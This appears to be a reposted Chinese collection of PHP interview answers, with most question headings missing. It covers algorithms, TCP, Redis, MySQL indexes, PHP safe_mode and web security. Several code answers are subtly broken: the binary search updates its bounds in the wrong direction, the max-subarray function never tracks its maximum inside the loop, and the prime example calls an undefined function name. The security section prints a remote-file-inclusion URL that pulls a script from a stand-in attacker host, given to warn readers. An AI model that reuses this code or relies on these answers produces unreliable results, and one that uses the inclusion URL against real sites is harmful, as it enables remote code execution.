思路: 1.(质数筛选定理)n不能够被不大于根号n的任何质数整除,则n是一个质数2.除了2的偶数都不是质数代码如下:
/** * 求n内的质数 * @param int $n * @return array */ function get_prime($n) { $prime = array(2);//2为质数 for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大 $sqrt = intval(sqrt($i));//求根号n for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 if ($i % $j == 0) { break; } } if ($j > $sqrt) { array_push($prime, $i); } } return $prime; } print_r(getPrime(1000));相关题目:一群猴子排成一圈,按1,2,…,n依次编号。然后从第1只开始数,数到第m只,把它踢出圈,从它后面再开始数, 再数到第m只,在把它踢出去…,如此不停的进行下去, 直到最后只剩下一只猴子为止,那只猴子就叫做大王。要求编程模拟此过程,输入m、n, 输出最后那个大王的编号。
/** * 获取大王 * @param int $n * @param int $m * @return int */ function get_king_mokey($n, $m) { $arr = range(1, $n); $i = 0; while (count($arr) > 1) { $i++; $survice = array_shift($arr); if ($i % $m != 0) { array_push($arr, $survice); } } return $arr[0]; }思路:假设最前面的1000个数为最小的,算出这1000个数中最大的数,然后和第1001个数比较,如果这最大的数比这第1001个数小的话跳过,如果要比这第1001个数大则将两个数交换位置,并算出新的1000个数里面的最大数,再和下一个数比较,以此类推。代码如下:
//寻找最小的k个数 //题目描述 //输入n个整数,输出其中最小的k个。 /** * 获取最小的k个数 * @param array $arr * @param int $k [description] * @return array */ function get_min_array($arr, $k) { $n = count($arr); $min_array = array(); for ($i = 0; $i < $n; $i++) { if ($i < $k) { $min_array[$i] = $arr[$i]; } else { if ($i == $k) { $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } if ($arr[$i] < $max) { $min_array[$max_pos] = $arr[$i]; $max_pos = get_max_pos($min_array); $max = $min_array[$max_pos]; } } } return $min_array; } /** * 获取最大的位置 * @param array $arr * @return array */ function get_max_pos($arr) { $pos = 0; for ($i = 1; $i < count($arr); $i++) { if ($arr[$i] > $arr[$pos]) { $pos = $i; } } return $pos; } $array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58]; $min_array = get_min_array($array, 10); print_r($min_array);代码如下:
/** * 二分查找 * @param array $array 数组 * @param int $n 数组数量 * @param int $value 要寻找的值 * @return int */ function binary_search($array, $n, $value) { $left = 0; $right = $n - 1; while ($left <= $right) { $mid = intval(($left + $right) / 2); if ($value > $array[$mid]) { $right = $mid + 1; } elseif ($value < $array[$mid]) { $left = $mid - 1; } else { return $mid; } } return -1; }思路:二分查找
/** * 获取绝对值最小的元素 * @param array $arr * @return int */ function get_min_abs_value($arr) { $n = count($arr); //如果符号相同,直接返回 if (is_same_sign($arr[0], $arr[$n - 1])) { return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1]; } //二分查找 $left = 0; $right = $n - 1; while ($left <= $right) { if ($left + 1 === $right) { return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right]; } $mid = intval(($left + $right) / 2); if ($arr[$mid] < 0) { $left = $mid + 1; } else { $right = $mid - 1; } } } /** * 判断符号是否相同 * @param int $a * @param int $b * @return boolean */ function is_same_sign($a, $b) { if ($a * $b > 0) { return true; } else { return false; } }思路:动态规划
function three_sum($arr) { $n = count($arr); $return = array(); for ($i=0; $i < $n; $i++) { $left = $i + 1; $right = $n - 1; while ($left <= $right) { $sum = $arr[$i] + $arr[$left] + $arr[$right]; if ($sum < 0) { $left++; } elseif ($sum > 0) { $right--; } else { $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right]; if (!in_array($numbers, $return)) { $return[] = $numbers; } $left++; $right--; } } } return $return; } $arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9]; var_dump(three_sum($arr));思路:动态规划
/** * 获取最大的连续和 * @param array $arr * @return int */ function max_sum_array($arr) { $currSum = 0; $maxSum = 0;//数组元素全为负的情况,返回最大数 $n = count($arr); for ($i = 0; $i < $n; $i++) { if ($currSum >= 0) { $currSum += $arr[$i]; } else { $currSum = $arr[$i]; } } if ($currSum > $maxSum) { $maxSum = $currSum; } return $maxSum; }在Tcp连接中,服务端的SYN和ACK向客户端发送是一次性发送的,而在断开连接的过程中,B端向A端发送的ACK和FIN是分两次发送的。因为在B端接收到A端的FIN后,B端可能还有数据要传输,所以先发送ACK,等B端处理完自己的事情后就可以发送FIN断开连接了。
chmod u=r 文件名
推荐篇文章,讲awk实际使用的shell在手分析服务器日志不愁
无论是初次连接还是重新连接,当建立一个从服务器时,从服务器都将从主服务器发送一个SYNC命令。接到SYNC命令的主服务器将开始执行BGSAVE,并在保存操作执行期间,将所有新执行的命令都保存到一个缓冲区里面,当BGSAVE执行完毕后,主服务器将执行保存操作所得到的.rdb文件发送给从服务器,从服务器接收这个.rdb文件,并将文件中的数据载入到内存中。之后主服务器会以Redis命令协议的格式,将写命令缓冲区中积累的所有内容都发送给从服务器。
缓存命中率 = get_hits/cmd_get * 100%
一致性Hash
MyISAM快,因为MyISAM本身就记录了数量,而InnoDB要扫描数据
有一个复合索引:INDEX(`a`, `b`, `c`)
使用方式能否用上索引select * from users where a = 1 and b = 2能用上a、bselect * from users where b = 2 and a = 1能用上a、b(有MySQL查询优化器)select * from users where a = 2 and c = 1能用上aselect * from users where b = 2 and c = 1不能聚簇索引的叶节点就是数据节点,而非聚簇索引的页节点仍然是索引检点,并保留一个链接指向对应数据块。
静态方法是类中的一个成员方法,属于整个类,即使不用创建任何对象也可以直接调用!静态方法效率上要比实例化高,静态方法的缺点是不自动销毁,而实例化的则可以做销毁。
ArrayAccess(数组式访问)接口
相同点: 当满足以下三个条件时,两者会输出相同信息。
服务器为80端口apache的conf中ServerName设置正确HTTP/1.1协议规范不同点:
通常情况: $_SERVER["HTTP_HOST"] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。 $_SERVER["SERVER_NAME"] 默认情况下直接输出apache的配置文件httpd.conf中的ServerName值。当服务器为非80端口时: $_SERVER["HTTP_HOST"] 会输出端口号,例如:coffeephp.com:8080$_SERVER["SERVER_NAME"] 会直接输出ServerName值 因此在这种情况下,可以理解为:$_SERVER['HTTP_HOST'] = $_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']当配置文件httpd.conf中的ServerName与HTTP/1.0请求的域名不一致时: httpd.conf配置如下: <virtualhost *> ServerName jsyzchen.com ServerAlias blog.jsyzchen.com </virtualhost>客户端访问域名 blog.jsyzchen.com $_SERVER["HTTP_HOST"] 输出 blog.jsyzchen.com$_SERVER["SERVER_NAME"] 输出jsyzchen.com
当safe_mode=On时,会出现下面限制:
所有输入输出函数(例如fopen()、file()和require())的适用会受到限制,只能用于与调用这些函数的脚本有相同拥有者的文件。例如,假定启用了安全模式,如果Mary拥有的脚本调用fopen(),尝试打开由Jonhn拥有的一个文件,则将失败。但是,如果Mary不仅拥有调用 fopen()的脚本,还拥有fopen()所调用的文件,就会成功。如果试图通过函数popen()、system()或exec()等执行脚本,只有当脚本位于safe_mode_exec_dir配置指令指定的目录才可能。HTTP验证得到进一步加强,因为验证脚本用于者的UID划入验证领域范围内。此外,当启用安全模式时,不会设置PHP_AUTH。如果适用MySQL数据库服务器,链接MySQL服务器所用的用户名必须与调用mysql_connect()的文件拥有者用户名相同。详细的解释可以查看官网:http://www.php.net/manual/zh/ini.sect.safe-mode.php php safe_mode影响参数 函数名限制dbmopen()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。dbase_open()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。filepro()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。filepro_rowcount()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。filepro_retrieve()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。ifx_* sql_safe_mode限制, (!= safe mode)ingres_* sql_safe_mode限制, (!= safe mode)mysql_* sql_safe_mode限制, (!= safe mode)pg_loimport()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。posix_mkfifo()检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。putenv()遵循 ini 设置的 safe_mode_protected_env_vars 和 safe_mode_allowed_env_vars 选项。请参考 putenv() 函数的有关文档。move_uploaded_file()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。chdir()检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。dl()本函数在安全模式下被禁用。backtick operator本函数在安全模式下被禁用。shell_exec()(在功能上和 backticks 函数相同) 本函数在安全模式下被禁用。exec()只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。system()只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。passthru()只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。popen()只能在 safe_mode_exec_dir 设置的目录下进行执行操作。基于某些原因,目前不能在可执行对象的路径中使用 ..。escapeshellcmd() 将被作用于此函数的参数上。fopen()检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。mkdir()检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。rmdir()检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。rename()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。unlink()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。copy()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (on source and target )chgrp()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。chown()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。chmod()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 另外,不能设置 SUID、SGID 和 sticky bitstouch()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。symlink()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)link()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意:仅测试 target)apache_request_headers()在安全模式下,以“authorization”(区分大小写)开头的标头将不会被返回。header()在安全模式下,如果设置了 WWW-Authenticate,当前脚本的 uid 将被添加到该标头的 realm 部分。PHP_AUTH 变量在安全模式下,变量 PHP_AUTH_USER、PHP_AUTH_PW 和 PHP_AUTH_TYPE 在 $_SERVER 中不可用。但无论如何,您仍然可以使用 REMOTE_USER 来获取用户名称(USER)。(注意:仅 PHP 4.3.0 以后有效)highlight_file(), show_source()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)parse_ini_file()检查被操作的文件或目录是否与正在执行的脚本有相同的 UID(所有者)。 检查被操作的目录是否与正在执行的脚本有相同的 UID(所有者)。 (注意,仅在 4.2.1 版本后有效)set_time_limit()在安全模式下不起作用。max_execution_time在安全模式下不起作用。mail()在安全模式下,第五个参数被屏蔽。现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt 来获取你的机密信息,或执行一个PHP脚本。 如果allow_url_fopen=On,你更是死定了: 试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php 现在你的网页中包含了http://www.youaredoomed.com/phphack.php的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
SQL注入:
addslashes函数mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()PDO预处理 XSS:htmlspecial函数 CSRF:验证HTTP REFER使用toke进行验证jwt或验证签名
第一种方案:被动过期+cron,就是用户查看的时候去数据库查有没有支付+定时清理。 第二种方案:延迟性任务,到时间检查订单是否支付成功,如果没有支付则取消订单
思路:用redis的队列
$ttl = 4; $random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000); $lock = fasle; while (!$lock) { $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl)); } if ($redis->get('goods.num') <= 0) { echo ("秒杀已经结束"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return false; } $redis->decr('goods.num'); echo ("秒杀成功"); //删除锁 if ($redis->get('lock') == $random) { $redis->del('lock'); } return true;使用satis搭建相关文章介绍:使用satis搭建Composer私有库
转载于:https://www.cnblogs.com/gyfluck/p/9778436.html
相关资源:垃圾分类数据集及代码